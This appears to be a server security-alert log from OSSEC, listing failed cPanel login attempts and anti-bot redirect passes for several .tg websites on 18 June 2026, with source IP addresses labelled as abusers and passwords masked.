45.84.107.198 - ylhgcaui [18/Jun/2026:00:27:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12896924&pdata=https%253A%252F%252Feducplusmedia.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781742439 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.84.107.198


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.78.85
country_id: 6252001
description:
[2026-06-18 00:27:44 +0000] info [cpaneld] 217.181.78.85 - wttzshhf "GET / HTTP/1.1" FAILED LOGIN cpaneld: User wttzshhf has their account suspended. Login blocked.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.6
country_id: 1880251
description:
47.128.121.6 - - [18/Jun/2026:00:27:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738599&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fsociete%252Fpage%252F93%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781742470 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/societe/page/93/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.6


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.24.80
country_id: 2635167
description:
[2026-06-18 00:28:22 +0000] info [cpaneld] 195.63.24.80 - phoicdxb "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.84.107.198
country_id: 2661886
description:
[2026-06-18 00:27:31 +0000] info [cpaneld] 45.84.107.198 - ylhgcaui "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.93.42
country_id: 2635167
description:
[2026-06-18 00:28:22 +0000] info [cpaneld] 217.181.93.42 - aifkjzqm "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.76.243
country_id: 6252001
description:
[2026-06-18 00:27:26 +0000] info [cpaneld] 217.181.76.243 - xdkbrmjc "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.43.153
country_id: 3895114
description:
[2026-06-18 00:27:30 +0000] info [cpaneld] 190.114.43.153 - caissede "GET /login/?login_only=1&user=caissede&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissede (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.67.166
country_id: 6252001
description:
[2026-06-18 00:27:29 +0000] info [cpaneld] 217.181.67.166 - newglevfer "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.77.3
country_id: 6252001
description:
[2026-06-18 00:27:44 +0000] info [cpaneld] 217.181.77.3 - ulduzncs "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.93.10
country_id: 2635167
description:
[2026-06-18 00:28:21 +0000] info [cpaneld] 217.181.93.10 - cfpjusti "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.84.107.198
country_id: 2661886
description:
45.84.107.198 - ylhgcaui [18/Jun/2026:00:27:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015699&pdata=https%253A%252F%252Feducplusmedia.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781742449 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.84.107.198


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.138.41.9
country_id: 3865483
description:
[2026-06-18 00:27:39 +0000] info [cpaneld] 190.138.41.9 - caisse "GET /login/?login_only=1&user=caisse&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caisse (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.67.65
country_id: 6252001
description:
[2026-06-18 00:27:44 +0000] info [cpaneld] 217.181.67.65 - cipvzfnv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.66.189
country_id: 6252001
description:
[2026-06-18 00:27:44 +0000] info [cpaneld] 217.181.66.189 - ygeaivhj "GET / HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.84.107.198
country_id: 2661886
description:
[2026-06-18 00:28:27 +0000] info [cpaneld] 45.84.107.198 - yxhnfwxr "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


